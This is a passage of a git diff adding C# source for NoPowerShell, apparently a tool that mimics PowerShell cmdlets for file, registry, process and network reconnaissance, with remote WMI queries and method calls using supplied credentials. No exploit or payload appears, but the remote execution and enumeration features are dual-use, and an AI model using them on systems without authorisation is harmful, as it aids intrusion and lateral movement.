in key.GetSubKeyNames()) + { + _results.Add( + new ResultRecord() + { + { "Name", subkey } + } + ); + } + + return _results; + } + + public static CommandResult BrowseFilesystem(string path, bool recurse, bool includeHidden, string searchPattern) + { + CommandResult results = new CommandResult(); + + DirectoryInfo gciDir = new DirectoryInfo(path); + + // TODO: Follow symlinks. Skipping them for now + if ((gciDir.Attributes & FileAttributes.ReparsePoint) == FileAttributes.ReparsePoint) + return results; + + DirectoryInfo[] directories = null; + try + { + directories = gciDir.GetDirectories(recurse ? "*" : searchPattern); + } + catch(UnauthorizedAccessException) + { + Console.WriteLine("Unauthorized to access \"{0}\"", path); + return results; + } + + FileInfo[] files = gciDir.GetFiles(searchPattern); + + // Enumerate directories + foreach (DirectoryInfo dir in directories) + { + if (!includeHidden && ((dir.Attributes & FileAttributes.Hidden) == FileAttributes.Hidden)) + continue; + + // Don't show directories if -Recurse and an -Include filter is set + if (recurse && !string.IsNullOrEmpty(searchPattern)) + continue; + + ResultRecord currentDir = new ResultRecord() + { + { "Mode", GetModeFlags(dir) }, + { "LastWriteTime", dir.LastWriteTime.ToString() }, + { "Length", string.Empty }, + { "Name", dir.Name } + }; + + // If recursive, also the directory name is needed + if (recurse) + currentDir.Add("Directory", dir.FullName); + + results.Add(currentDir); + } + + // Enumerate files + foreach (FileInfo file in files) + { + if (!includeHidden && ((file.Attributes & FileAttributes.Hidden) == FileAttributes.Hidden)) + continue; + + ResultRecord currentFile = new ResultRecord() + { + { "Mode", GetModeFlags(file) }, + { "LastWriteTime", file.LastWriteTime.ToString() }, + { "Length", file.Length.ToString() }, + { "Name", file.Name } + }; + + // If recursive, also the directory name is needed + if (recurse) + currentFile.Add("Directory", file.Directory.FullName); + + results.Add(currentFile); + } + + // After adding folders and files in current directory, go depth first + if(recurse) + { + foreach(DirectoryInfo subDir in directories) + { + // Skip hidden directories in case -Force parameter is not provided + if ((subDir.Attributes & FileAttributes.Hidden) == FileAttributes.Hidden && !includeHidden) + continue; + + CommandResult currentDir = BrowseFilesystem(subDir.FullName, recurse, includeHidden, searchPattern); + results.AddRange(currentDir); + } + } + + return results; + } + + private static string GetModeFlags(FileSystemInfo f) + { + StringBuilder sb = new StringBuilder(6); + + sb.Append((f.Attributes & FileAttributes.Directory) == FileAttributes.Directory ? "d" : "-"); + sb.Append((f.Attributes & FileAttributes.Archive) == FileAttributes.Archive ? "a" : "-"); + sb.Append((f.Attributes & FileAttributes.ReadOnly) == FileAttributes.ReadOnly ? "r" : "-"); + sb.Append((f.Attributes & FileAttributes.Hidden) == FileAttributes.Hidden ? "h" : "-"); + sb.Append((f.Attributes & FileAttributes.System) == FileAttributes.System ? "s" : "-"); + sb.Append((f.Attributes & FileAttributes.ReparsePoint) == FileAttributes.ReparsePoint ? "l" : "-"); + + return sb.ToString(); + } + + public static new CaseInsensitiveList Aliases + { + get { return new CaseInsensitiveList() { "Get-ChildItem", "gci", "ls", "dir" }; } + } + + public static new ArgumentList SupportedArguments + { + get + { + return new ArgumentList() + { + new StringArgument("Path", "."), + new BoolArgument("Force") , + new BoolArgument("Recurse"), + new StringArgument("Include", "*", true) + }; + } + } + + public static new string Synopsis + { + get { return "Gets the files and folders in a file system drive."; } + } + } +} diff --git a/Source/NoPowerShell/NoPowerShell/Commands/Management/GetContentCommand.cs b/Source/NoPowerShell/NoPowerShell/Commands/Management/GetContentCommand.cs new file mode 100644 index 0000000..aaef161 --- /dev/null +++ b/Source/NoPowerShell/NoPowerShell/Commands/Management/GetContentCommand.cs @@ -0,0 +1,55 @@ +using System.IO; +using NoPowerShell.Arguments; +using NoPowerShell.HelperClasses; + +/* +Author: @_bitsadmin +Website: https://github.com/bitsadmin +License: BSD 3-Clause +*/ + +namespace NoPowerShell.Commands +{ + public class GetContentCommand : PSCommand + { + public GetContentCommand(string[] arguments) : base(arguments, SupportedArguments) + { + } + + public override CommandResult Execute(CommandResult pipeIn) + { + string path = _arguments.Get("Path").Value; + string txt = File.ReadAllText(path); + + // Create a single ResultRecord with an empty name to simply display raw output + _results.Add( + new ResultRecord() { + { string.Empty, txt } + } + ); + + return _results; + } + + public static new CaseInsensitiveList Aliases + { + get { return new CaseInsensitiveList() { "Get-Content", "gc", "cat", "type" }; } + } + + public static new ArgumentList SupportedArguments + { + get + { + return new ArgumentList() + { + new StringArgument("Path") + }; + } + } + + public static new string Synopsis + { + get { return "Gets the contents of a file."; } + } + } +} diff --git a/Source/NoPowerShell/NoPowerShell/Commands/Management/GetItemPropertyCommand.cs b/Source/NoPowerShell/NoPowerShell/Commands/Management/GetItemPropertyCommand.cs new file mode 100644 index 0000000..cd9f8cf --- /dev/null +++ b/Source/NoPowerShell/NoPowerShell/Commands/Management/GetItemPropertyCommand.cs @@ -0,0 +1,119 @@ +using System; +using Microsoft.Win32; +using NoPowerShell.Arguments; +using NoPowerShell.HelperClasses; + +/* +Author: @_bitsadmin +Website: https://github.com/bitsadmin +License: BSD 3-Clause +*/ + +namespace NoPowerShell.Commands +{ + public class GetItemPropertyCommand : PSCommand + { + public GetItemPropertyCommand(string[] arguments) : base(arguments, SupportedArguments) + { + } + + public override CommandResult Execute(CommandResult pipeIn) + { + // Obtain parameters + bool includeHidden = _arguments.Get("Force").Value; + string path = _arguments.Get("Path").Value; + string searchPattern = _arguments.Get("Include").Value; + string checkPath = path.ToUpperInvariant(); + + // Registry: + // HKLM:\ + // HKCU:\ + // HKCR:\ + // HKU:\ + if (checkPath.StartsWith("HKLM:") || checkPath.StartsWith("HKCU:") || checkPath.StartsWith("HKCR:") || checkPath.StartsWith("HKU:")) + _results = BrowseRegistry(path, includeHidden); + + // Filesystem: + // \ + // ..\ + // D:\ + else + _results = GetChildItemCommand.BrowseFilesystem(path, false, includeHidden, searchPattern); + + return _results; + } + + private CommandResult BrowseRegistry(string path, bool includeHidden) + { + RegistryKey root = null; + string newPath = string.Empty; + path = path.ToUpperInvariant(); + if (path.StartsWith("HKLM:")) + { + root = Registry.LocalMachine; + newPath = path.Replace("HKLM:", string.Empty); + } + else if (path.StartsWith("HKCU:")) + { + root = Registry.CurrentUser; + newPath = path.Replace("HKCU:", string.Empty); + } + else if (path.StartsWith("HKCR:")) + { + root = Registry.ClassesRoot; + newPath = path.Replace("HKCR:", string.Empty); + } + else if (path.StartsWith("HKU:")) + { + root = Registry.Users; + newPath = path.Replace("HKU:", string.Empty); + } + else + throw new InvalidOperationException("Unknown registry path."); + + if (newPath.StartsWith(@"\")) + newPath = newPath.Substring(1); + + RegistryKey key = root.OpenSubKey(newPath); + foreach (string valueName in key.GetValueNames()) + { + string valueKind = key.GetValueKind(valueName).ToString(); + string value = Convert.ToString(key.GetValue(valueName)); + + _results.Add( + new ResultRecord() + { + { "Name", valueName }, + { "Kind", valueKind }, + { "Value", value } + } + ); + } + + return _results; + } + + public static new CaseInsensitiveList Aliases + { + get { return new CaseInsensitiveList() { "Get-ItemProperty", "gp" }; } + } + + public static new ArgumentList SupportedArguments + { + get + { + return new ArgumentList() + { + new StringArgument("Path", "."), + new BoolArgument("Force") , + new StringArgument("Include", "*", true) + }; + } + } + + public static new string Synopsis + { + get { return "Gets the properties of a specified item."; } + } + } +} diff --git a/Source/NoPowerShell/NoPowerShell/Commands/Management/GetProcessCommand.cs b/Source/NoPowerShell/NoPowerShell/Commands/Management/GetProcessCommand.cs new file mode 100644 index 0000000..c056fb2 --- /dev/null +++ b/Source/NoPowerShell/NoPowerShell/Commands/Management/GetProcessCommand.cs @@ -0,0 +1,44 @@ +using NoPowerShell.Arguments; +using NoPowerShell.HelperClasses; + +/* +Author: @_bitsadmin +Website: https://github.com/bitsadmin +License: BSD 3-Clause +*/ + +namespace NoPowerShell.Commands +{ + public class GetProcessCommand : PSCommand + { + public GetProcessCommand(string[] userArguments) : base(userArguments, SupportedArguments) + { + } + + public override CommandResult Execute(CommandResult pipeIn) + { + _results = WmiHelper.ExecuteWmiQuery("Select ProcessId, Name, CommandLine From Win32_Process"); + return _results; + } + + public static new CaseInsensitiveList Aliases + { + get { return new CaseInsensitiveList() { "Get-Process", "ps" }; } + } + + public static new ArgumentList SupportedArguments + { + get + { + return new ArgumentList() + { + }; + } + } + + public static new string Synopsis + { + get { return "Gets the processes that are running on the local computer or a remote computer."; } + } + } +} diff --git a/Source/NoPowerShell/NoPowerShell/Commands/Management/GetWmiObjectCommand.cs b/Source/NoPowerShell/NoPowerShell/Commands/Management/GetWmiObjectCommand.cs new file mode 100644 index 0000000..4fc1354 --- /dev/null +++ b/Source/NoPowerShell/NoPowerShell/Commands/Management/GetWmiObjectCommand.cs @@ -0,0 +1,65 @@ +using NoPowerShell.Arguments; +using NoPowerShell.HelperClasses; + +/* +Author: @_bitsadmin +Website: https://github.com/bitsadmin +License: BSD 3-Clause +*/ + +namespace NoPowerShell.Commands +{ + public class GetWmiObjectCommand : PSCommand + { + public GetWmiObjectCommand(string[] arguments) : base(arguments, SupportedArguments) + { + } + + public override CommandResult Execute(CommandResult pipeIn) + { + // Obtain parameters + string wmiNamespace = _arguments.Get("Namespace").Value; + string wmiQuery = _arguments.Get("Query").Value; + string wmiClass = _arguments.Get("Class").Value; + string wmiFilter = _arguments.Get("Filter").Value; + + if (wmiClass != null) + wmiQuery = string.Format("Select * From {0}", wmiClass); + if (wmiFilter != null) + wmiQuery += string.Format(" Where {0}", wmiFilter); + + // Remote parameters + string computerName = _arguments.Get("ComputerName").Value; + string username = _arguments.Get("Username").Value; + string password = _arguments.Get("Password").Value; + + // Execute user provided WMI query and return results to pipeline + _results = WmiHelper.ExecuteWmiQuery(wmiNamespace, wmiQuery, computerName, username, password); + return _results; + } + + public static new CaseInsensitiveList Aliases + { + get { return new CaseInsensitiveList() { "Get-WmiObject", "gwmi" }; } + } + + public static new ArgumentList SupportedArguments + { + get + { + return new ArgumentList() + { + new StringArgument("Namespace", @"root\cimv2", true), + new StringArgument("Query"), + new StringArgument("Class", null, true), + new StringArgument("Filter", null, true) + }; + } + } + + public static new string Synopsis + { + get { return "Gets instances of WMI classes or information about the available classes."; } + } + } +} diff --git a/Source/NoPowerShell/NoPowerShell/Commands/Management/InvokeWmiMethodCommand.cs b/Source/NoPowerShell/NoPowerShell/Commands/Management/InvokeWmiMethodCommand.cs new file mode 100644 index 0000000..692b4bc --- /dev/null +++ b/Source/NoPowerShell/NoPowerShell/Commands/Management/InvokeWmiMethodCommand.cs @@ -0,0 +1,60 @@ +using NoPowerShell.Arguments; +using NoPowerShell.HelperClasses; + +/* +Author: @_bitsadmin +Website: https://github.com/bitsadmin +License: BSD 3-Clause +*/ + +namespace NoPowerShell.Commands +{ + public class InvokeWmiMethodCommand : PSCommand + { + public InvokeWmiMethodCommand(string[] userArguments) : base(userArguments, SupportedArguments) + { + } + + public override CommandResult Execute(CommandResult pipeIn) + { + // Obtain parameters + string wmiNamespace = _arguments.Get("Namespace").Value; + string wmiClass = _arguments.Get("Class").Value; + string methodName = _arguments.Get("Name").Value; + string methodArguments = _arguments.Get("ArgumentList").Value; + + // Remote parameters + string computerName = _arguments.Get("ComputerName").Value; + string username = _arguments.Get("Username").Value; + string password = _arguments.Get("Password").Value; + + _results = WmiHelper.InvokeWmiMethod(wmiNamespace, wmiClass, methodName, methodArguments, computerName, username, password); + + return _results; + } + + public static new CaseInsensitiveList Aliases + { + get { return new CaseInsensitiveList() { "Invoke-WmiMethod", "iwmi" }; } + } + + public static new ArgumentList SupportedArguments + { + get + { + return new ArgumentList() + { + new StringArgument("Namespace", @"root\cimv2", true), + new StringArgument("Class"), + new StringArgument("Name"), + new StringArgument("ArgumentList") + }; + } + } + + public static new string Synopsis + { + get { return "Calls WMI methods."; } + } + } +} diff --git a/Source/NoPowerShell/NoPowerShell/Commands/Management/RemovetemCommand.cs b/Source/NoPowerShell/NoPowerShell/Commands/Management/RemovetemCommand.cs new file mode 100644 index 0000000..106c077 --- /dev/null +++ b/Source/NoPowerShell/NoPowerShell/Commands/Management/RemovetemCommand.cs @@ -0,0 +1,104 @@ +using NoPowerShell.Arguments; +using NoPowerShell.HelperClasses; +using System.IO; + +/* +Author: @_bitsadmin +Website: https://github.com/bitsadmin +License: BSD 3-Clause +*/ + +namespace NoPowerShell.Commands +{ + public class RemovetemCommand : PSCommand + { + public RemovetemCommand(string[] userArguments) : base(userArguments, SupportedArguments) + { + } + + public override CommandResult Execute(CommandResult pipeIn) + { + // Obtain source and destination + string path = _arguments.Get("Path").Value; + bool force = _arguments.Get("Force").Value; + bool recurse = _arguments.Get("Recurse").Value; + + // Determine if provided path is a file or a directory + FileAttributes attr = File.GetAttributes(path); + + // Directory + if ((attr & FileAttributes.Directory) == FileAttributes.Directory) + { + DirectoryDelete(path, recurse, force); + Directory.Delete(path); + } + // File + else + { + // Remove readonly attribute + if(force) + File.SetAttributes(path, attr & ~FileAttributes.ReadOnly); + + File.Delete(path); + } + + return _results; + } + + // Inspired by: + // https://docs.microsoft.com/dotnet/standard/io/how-to-copy-directories + private static void DirectoryDelete(string dirName, bool recurse, bool force) + { + // Get the subdirectories for the specified directory. + DirectoryInfo dir = new DirectoryInfo(dirName); + DirectoryInfo[] dirs = dir.GetDirectories(); + + if (dirs.Length > 0 && !recurse) + throw new System.Exception(string.Format("The item at {0} has children and the Recurse parameter was not specified. Nothing has been removed.", dirName)); + + // Get the files in the directory and copy them to the new location. + FileInfo[] files = dir.GetFiles(); + foreach (FileInfo file in files) + { + // Remove readonly attribute + if (force) + File.SetAttributes(file.FullName, file.Attributes & ~FileAttributes.ReadOnly); + + file.Delete(); + } + + // Remove subdirectories and their contents if Recurse flag is set + if (recurse) + { + foreach (DirectoryInfo subdir in dirs) + { + DirectoryDelete(subdir.FullName, recurse, force); + subdir.Delete(); + } + } + } + + public static new CaseInsensitiveList Aliases + { + get { return new CaseInsensitiveList() { "Remove-Item", "del", "erase", "rd", "ri", "rm", "rmdir" }; } + } + + public static new ArgumentList SupportedArguments + { + get + { + return new ArgumentList() + { + new StringArgument("Path"), + new BoolArgument("Force"), + new BoolArgument("Recurse") + }; + } + } + + public static new string Synopsis + { + get { return "Deletes files and folders."; } + } + } +} diff --git a/Source/NoPowerShell/NoPowerShell/Commands/NetTCPIP/GetNetIPAddressCommand.cs b/Source/NoPowerShell/NoPowerShell/Commands/NetTCPIP/GetNetIPAddressCommand.cs new file mode 100644 index 0000000..5e899bb --- /dev/null +++ b/Source/NoPowerShell/NoPowerShell/Commands/NetTCPIP/GetNetIPAddressCommand.cs @@ -0,0 +1,63 @@ +using NoPowerShell.Arguments; +using NoPowerShell.HelperClasses; + +/* +Author: @_bitsadmin +Website: https://github.com/bitsadmin +License: BSD 3-Clause +*/ + +namespace NoPowerShell.Commands +{ + public class GetNetIPAddress : PSCommand + { + public GetNetIPAddress(string[] userArguments) : base(userArguments, SupportedArguments) + { + } + + public override CommandResult Execute(CommandResult pipeIn) + { + bool all = _arguments.Get("All").Value; + + string simpleSelect = "Description, IPAddress, DefaultIPGateway"; + string allSelect = simpleSelect + ", DNSServerSearchOrder"; + string query = "Select {0} From Win32_NetworkAdapterConfiguration {1}"; + + if (all) + query = string.Format(query, allSelect, string.Empty); + else + query = string.Format(query, simpleSelect, "Where IPEnabled = 'True'"); + + _results = WmiHelper.ExecuteWmiQuery(query); + + return _results; + } + + public static new CaseInsensitiveList Aliases + { + get { + return new CaseInsensitiveList() + { + "Get-NetIPAddress", "ipconfig", + "ifconfig" // Not official + }; + } + } + + public static new ArgumentList SupportedArguments + { + get + { + return new ArgumentList() + { + new BoolArgument("All") + }; + } + } + + public static new string Synopsis + { + get { return "Gets the IP address configuration."; } + } + } +} diff --git a/Source/NoPowerShell/NoPowerShell/Commands/NetTCPIP/GetNetRouteCommand.cs b/Source/NoPowerShell/NoPowerShell/Commands/NetTCPIP/GetNetRouteCommand.cs new file mode 100644 index 0000000..c1113c8 --- /dev/null +++ b/Source/NoPowerShell/NoPowerShell/Commands/NetTCPIP/GetNetRouteCommand.cs @@ -0,0 +1,51 @@ +using NoPowerShell.Arguments; +using NoPowerShell.HelperClasses; + +/* +Author: @_bitsadmin +Website: https://github.com/bitsadmin +License: BSD 3-Clause +*/ + +namespace NoPowerShell.Commands +{ + public class GetNetRouteCommand : PSCommand + { + public GetNetRouteCommand(string[] userArguments) : base(userArguments, SupportedArguments) + { + } + + public override CommandResult Execute(CommandResult pipeIn) + { + _results = WmiHelper.ExecuteWmiQuery("Select Caption, Description, Destination, Mask, NextHop From Win32_IP4RouteTable"); + + return _results; + } + + public static new CaseInsensitiveList Aliases + { + get { + return new CaseInsensitiveList() + { + "Get-NetRoute", + "route" // Not official + }; + } + } + + public static new ArgumentList SupportedArguments + { + get + { + return new ArgumentList() + { + }; + } + } + + public static new string Synopsis + { + get { return "Gets the IP route information from the IP routing table."; } + } + } +} diff --git a/Source/NoPowerShell/NoPowerShell/Commands/NetTCPIP/TestNetConnectionCommand.cs b/Source/NoPowerShell/NoPowerShell/Commands/NetTCPIP/TestNetConnectionCommand.cs new file mode 100644 index 0000000..fe84c11 --- /dev/null +++ b/Source/NoPowerShell/NoPowerShell/Commands/NetTCPIP/TestNetConnectionCommand.cs @@ -0,0 +1,181 @@ +using System; +using System.Collections.Generic; +using System.Net.NetworkInformation; +using NoPowerShell.Arguments; +using NoPowerShell.HelperClasses; + +/* +Author: @_bitsadmin +Website: https://github.com/bitsadmin +License: BSD 3-Clause +*/ + +namespace NoPowerShell.Commands +{ + public class TestNetConnectionCommand : PSCommand + { + public TestNetConnectionCommand(string[] userArguments) : base(userArguments, SupportedArguments) + { + } + + public override CommandResult Execute(CommandResult pipeIn) + { + // Obtain arguments + bool performTraceroute = _arguments.Get("TraceRoute").Value; + int count = _arguments.Get("Count").Value; + int timeout = _arguments.Get("Timeout").Value; + string computerName = _arguments.Get("ComputerName").Value; + int hops = _arguments.Get("Hops").Value; + + // Traceroute or Ping + if (performTraceroute) + _results = PerformTraceroute(computerName, count, timeout, hops); + else + _results = PerformPing(computerName, count, timeout); + + return _results; + } + + private static CommandResult PerformPing(string computerName, int count, int timeout) + { + CommandResult results = new CommandResult(count); + + Ping ping = new Ping(); + PingOptions options = new PingOptions(64, false); + + bool succeeded = false; + + for (int i = 0; i < count; i++) + { + PingReply reply = null; + + try + { + reply = ping.Send(computerName, timeout); + } + catch(PingException) + { + break; + } + + succeeded = true; + + // Add to output + results.Add( + new ResultRecord() + { + { "ComputerName", computerName }, + { "RemoteAddress", reply.Address.ToString() }, + { "PingSucceeded", reply.Status == IPStatus.Success ? "True" : "False" }, + { "PingReplyDetails (RTT)", reply.RoundtripTime.ToString() } + } + ); + + // Send only 1 request per second + //if (i != count - 1) + // Thread.Sleep(1000 - (int)reply.RoundtripTime); + } + + // Error response + if (!succeeded) + { + results.Add(new ResultRecord() + { + { "ComputerName", computerName }, + { "RemoteAddress", string.Empty }, + { "PingSucceeded", succeeded ? "True" : "False" } + }); + } + + return results; + } + + private static CommandResult PerformTraceroute(string computerName, int count, int timeout, int maxHops) + { + CommandResult results = new CommandResult(count); + + // Fill buffer with a-z + byte[] buffer = new byte[32]; + for (int i = 0; i < buffer.Length; i++) + buffer[i] = Convert.ToByte(0x61 + (i % 26)); + + Ping ping = new Ping(); + List IPs = new List(maxHops); + + // Last hop details + string remoteAddress = string.Empty; + bool succeeded = false; + int rtt = -1; + + for (int ttl = 1; ttl <= maxHops; ttl++) + { + PingOptions options = new PingOptions(ttl, true); + PingReply reply = null; + + try + { + reply = ping.Send(computerName, timeout, buffer, options); + } + catch(PingException) + { + break; + } + + if (reply.Status == IPStatus.TtlExpired) + IPs.Add(reply.Address.ToString()); + else if (reply.Status == IPStatus.TimedOut) + IPs.Add("*"); + else if (reply.Status == IPStatus.Success) + { + IPs.Add(reply.Address.ToString()); + remoteAddress = reply.Address.ToString(); + succeeded = true; + rtt = (int)reply.RoundtripTime; + break; + } + } + + ResultRecord record = new ResultRecord() + { + { "ComputerName", computerName }, + { "RemoteAddress", remoteAddress }, + { "PingSucceeded", succeeded ? "True" : "False" } + }; + + if(succeeded) + { + record.Add("PingReplyDetails (RTT)", rtt.ToString()); + record.Add("TraceRoute", string.Join(", ", IPs.ToArray())); + } + + results.Add(record); + + return results; + } + + public static new CaseInsensitiveList Aliases + { + get { return new CaseInsensitiveList() { "Test-NetConnection", "ping" }; } + } + + public static new ArgumentList SupportedArguments + { + get + { + return new ArgumentList() + { + new BoolArgument("TraceRoute", false), + new StringArgument("ComputerName"), + new IntegerArgument("Count", 1, true), + new IntegerArgument("Timeout", 5000, true), + new IntegerArgument("Hops", 30, true) + }; + } + } + + public static new string Synopsis + { + get { return "Displays diagnostic information for a connection."; } + } + } +} diff --git a/Source/NoPowerShell/NoPowerShell/Commands/PSCommand.cs b/Source/NoPowerShell/NoPowerShell/Commands/PSCommand.cs new file mode 100644 index 0000000..6878637 --- /dev/null +++ b/Source/NoPowerShell/NoPowerShell/Commands/PSCommand.cs @@ -0,0 +1,198 @@ +using System; +using System.Text; +using System.Collections.Generic; +using System.Reflection; +using NoPowerShell.Arguments; +using NoPowerShell.HelperClasses; + +/* +Author: @_bitsadmin +Website: https://github.com/bitsadmin +License: BSD 3-Clause +*/ + +namespace NoPowerShell.Commands +{ + /// + /// Base class for all cmdlets + /// + public class PSCommand + { + protected ArgumentList _arguments; + protected CommandResult _results; + + /// + /// Construct a new PSCommand parsing the provided arguments using the provided list of arguments supported by this cmdlet + /// + /// Arguments to be parsed + /// Arguments supported by this cmdlet + public PSCommand(string[] userArguments, ArgumentList supportedArguments) + { + // To any command add support for specifying a remote computername including username and password + // It is up to the command whether it makes use of these optional parameters + supportedArguments.AddRange(new List() + { + new StringArgument("ComputerName", ".", true), + new StringArgument("Username", null, true), + new StringArgument("Password", null, true) + }); + + _arguments = ParseArguments(userArguments, supportedArguments); + _results = new CommandResult(); + } + + /// + /// Parses arguments provided by user using the list of arguments supported by the cmdlet + /// + /// Arguments to be parsed + /// Arguments supported by this cmdlet + /// Parsed arguments + protected ArgumentList ParseArguments(string[] userArguments, ArgumentList supportedArguments) + { + if (userArguments == null) + return supportedArguments; + + // Iterate over user-provided arguments + int i = 0; + while (i < userArguments.Length) + { + string inputArg = userArguments[i]; + + // Iterate over the arguments that are available for this cmdlet + List candidates = new List(userArguments.Length); + foreach (Argument destArg in supportedArguments) + { + // Two options: + // 1) Provided argument matches expected argument + // 2) It could be an argument which doesn't need to be "cmd -Argname [value]". It can simply be "cmd [value]" + if (destArg.Name.Equals(inputArg.Substring(1, inputArg.Length - 1), StringComparison.InvariantCultureIgnoreCase)) + { + candidates.Add(destArg); + } + else if (!inputArg.StartsWith("-") && !destArg.IsOptionalArgument) + { + destArg.DashArgumentNameSkipUsed = true; + candidates.Add(destArg); + } + } + + if (candidates.Count == 0) + { + throw new ArgumentException(string.Format("No parameter of {0} found matching \"{1}\".", this.ToString(), inputArg)); + } + + // Attempt to assign the variable to whatever argument has not been assigned yet + bool assignedValue = false; + foreach (Argument a in candidates) + { + if (a.GetType() == typeof(BoolArgument)) + { + ((BoolArgument)a).Value = true; + assignedValue = true; + break; + } + else if(a.GetType() == typeof(IntegerArgument)) + { + ((IntegerArgument)a).Value = Convert.ToInt32(userArguments[++i]); + assignedValue = true; + break; + } + else if (a.GetType() == typeof(StringArgument)) + { + StringArgument aCasted = (StringArgument)a; + if (aCasted.Value != null && !aCasted.IsDefaultValue) + continue; + + // Optional StringArgument which requires a value + // For example Get-WmiObject -Namespace root\cimv2 -Query "Select CommandLine From Win32_Process" + if (!a.DashArgumentNameSkipUsed) + i++; + + // Possibilities: + // - arg1,arg2 + // - arg1, arg2 + // Not supported yet: arg1 ,arg2 + StringBuilder strbargs = new StringBuilder(); + for (int j = i; j < userArguments.Length; j++) + { + string candidateArg = userArguments[j]; + + if (candidateArg.EndsWith(",")) + { + strbargs.Append(userArguments[j]); + i++; + } + else + break; + } + + bool onlyArgument = strbargs.Length == 0; + string strargs = strbargs.Append(userArguments[i]).ToString(); + + // Array where current component is last one + if (!onlyArgument) + i++; + + aCasted.Value = strargs; + assignedValue = true; + break; + } + } + + if (!assignedValue) + throw new Exception("Failed to assign value to parameter"); + + i++; + } + + return supportedArguments; + } + + /// + /// Implementation of the cmdlet + /// + /// Output from previous command in pipe + /// + public virtual CommandResult Execute(CommandResult pipeIn) + { + throw new InvalidOperationException("This function should be overridden"); + } + + /// + /// Command + aliases of PSCommand. Is used for displaying help and to determine which command a user wants to execute. + /// + public virtual List Aliases + { + get { throw new InvalidOperationException("This attribute should be overridden"); } + } + + /// + /// Name of cmdlet + /// + public string Command + { + // First command in list of Aliases should always be the full cmdlet + get { return Aliases[0]; } + } + + /// + /// List of supported arguments. Order of the arguments will be reflected in the help (Get-Command). + /// + public virtual ArgumentList SupportedArguments + { + get { throw new InvalidOperationException("This attribute should be overridden"); } + } + + public virtual string Synopsis + { + get { throw new InvalidOperationException("This attribute should be overridden"); } + } + + public override string ToString() + { + PropertyInfo aliasesProperty = this.GetType().GetProperty("Aliases", BindingFlags.Static | BindingFlags.Public); + CaseInsensitiveList aliases = (CaseInsensitiveList)aliasesProperty.GetValue(null, null); + return aliases[0]; + } + } +} \ No newline at end of file diff --git a/Source/NoPowerShell/NoPowerShell/Commands/SmbShare/GetSmbMappingCommand.cs b/Source/NoPowerShell/NoPowerShell/Commands/SmbShare/GetSmbMappingCommand.cs new file mode 100644 index 0000000..8cfb0df --- /dev/null +++ b/Source/NoPowerShell/NoPowerShell/Commands/SmbShare/GetSmbMappingCommand.cs @@ -0,0 +1,50 @@ +using NoPowerShell.Arguments; +using NoPowerShell.HelperClasses; + +/* +Author: @_bitsadmin +Website: https://github.com/bitsadmin +License: BSD 3-Clause +*/ + +namespace NoPowerShell.Commands +{ + public class GetSmbMapping : PSCommand + { + public GetSmbMapping(string[] userArguments) : base(userArguments, SupportedArguments) + { + } + + public override CommandResult Execute(CommandResult pipeIn) + { + _results = WmiHelper.ExecuteWmiQuery(@"ROOT\Microsoft\Windows\SMB", "Select LocalPath,RemotePath From MSFT_SmbMapping"); + return _results; + } + + public static new CaseInsensitiveList Aliases + { + get { + return new CaseInsensitiveList() + { + "Get-NetSmbMapping", + "netuse" // Not official + }; + } + } + + public static new ArgumentList SupportedArguments + { + get + { + return new ArgumentList() + { + }; + } + } + + public static new string Synopsis + { + get { return "Retrieves the SMB client directory mappings created for a server."; } + } + } +} diff --git a/Source/NoPowerShell/NoPowerShell/Commands/TemplateCommand.cs b/Source/NoPowerShell/NoPowerShell/Commands/TemplateCommand.cs new file mode 100644 index 0000000..72959f8 --- /dev/null +++ b/Source/NoPowerShell/NoPowerShell/Commands/TemplateCommand.cs @@ -0,0 +1,94 @@ +using NoPowerShell.Arguments; +using NoPowerShell.HelperClasses; + +/* +Author: @_bitsadmin +Website: https://github.com/bitsadmin +License: BSD 3-Clause +*/ + +namespace NoPowerShell.Commands +{ + public class TemplateCommand : PSCommand + { + public TemplateCommand(string[] userArguments) : base(userArguments, SupportedArguments) + { + } + + public override CommandResult Execute(CommandResult pipeIn) + { + // Obtain cmdlet parameters + // Will contain all of the arguments from the 'ArgumentList Arguments' below + bool myFlag = _arguments.Get("MyFlag").Value; + int myInteger = _arguments.Get("MyInteger").Value; + string myString = _arguments.Get("MyString").Value; + + // The following (optional) parameters are always available, + // no need to add them to the SupportedArguments below + string computerName = _arguments.Get("ComputerName").Value; + string username = _arguments.Get("Username").Value; + string password = _arguments.Get("Password").Value; + + // Write your code here, storing the output in attributename-value pairs + // Example of resulting table: + // Attribute1 Attribute2 + // ---------- ---------- + // Line00-Attribute1-Hello World Line00-Attribute2-Hello World + // Line01-Attribute1-Hello World Line01-Attribute2-Hello World + // Line02-Attribute1-Hello World Line02-Attribute2-Hello World + // Line03-Attribute1-Hello World Line03-Attribute2-Hello World + // Line04-Attribute1-Hello World Line04-Attribute2-Hello World + // etc. + + if (!myFlag) + { + for (int i = 0; i < myInteger; i++) + { + _results.Add( + new ResultRecord() + { + { "Attribute1", string.Format("Line{0:D2}-Attribute1-{1}", i, myString) }, + { "Attribute2", string.Format("Line{0:D2}-Attribute2-{1}", i, myString) } + //{ "AttributeN", string.Format("Line{0}-AttributeN-{1}", i, myString) } + } + ); + } + } + else + { + _results.Add( + new ResultRecord() + { + { string.Empty, "MyFlag flag has been set." } + } + ); + } + + // Always return the results so the output can be used by the next command in the pipeline + return _results; + } + + public static new CaseInsensitiveList Aliases + { + get { return new CaseInsensitiveList() { "Get-TemplateCommand", "gtc" }; } + } + + public static new ArgumentList SupportedArguments + { + get + { + return new ArgumentList() + { + new BoolArgument("MyFlag"), + new IntegerArgument("MyInteger", 5, true), + new StringArgument("MyString", "Hello World") + }; + } + } + + public static new string Synopsis + { + get { return "This template shows how easy it is to develop new NoPowerShell cmdlets."; } + } + } +} diff --git a/Source/NoPowerShell/NoPowerShell/Commands/Utility/FormatListCommand.cs b/Source/NoPowerShell/NoPowerShell/Commands/Utility/FormatListCommand.cs new file mode 100644 index 0000000..a13ec29 --- /dev/null +++ b/Source/NoPowerShell/NoPowerShell/Commands/Utility/FormatListCommand.cs @@ -0,0 +1,73 @@ +using NoPowerShell.Arguments; +using NoPowerShell.HelperClasses; + +/* +Author: @_bitsadmin +Website: https://github.com/bitsadmin +License: BSD 3-Clause +*/ + +namespace NoPowerShell.Commands +{ + public class FormatListCommand : PSCommand + { + public FormatListCommand(string[] arguments) : base(arguments, SupportedArguments) + { + } + + public override CommandResult Execute(CommandResult pipeIn) + { + string[] properties = _arguments.Get("Property").Value.Split(','); + + _results.Output = CommandResult.OutputType.List; + + foreach (ResultRecord result in pipeIn) + { + // Show all columns + if (properties[0] == string.Empty) + _results.Add(result); + + // Show only specific columns + else + { + ResultRecord newResult = new ResultRecord(); + + foreach (string attr in properties) + { + if 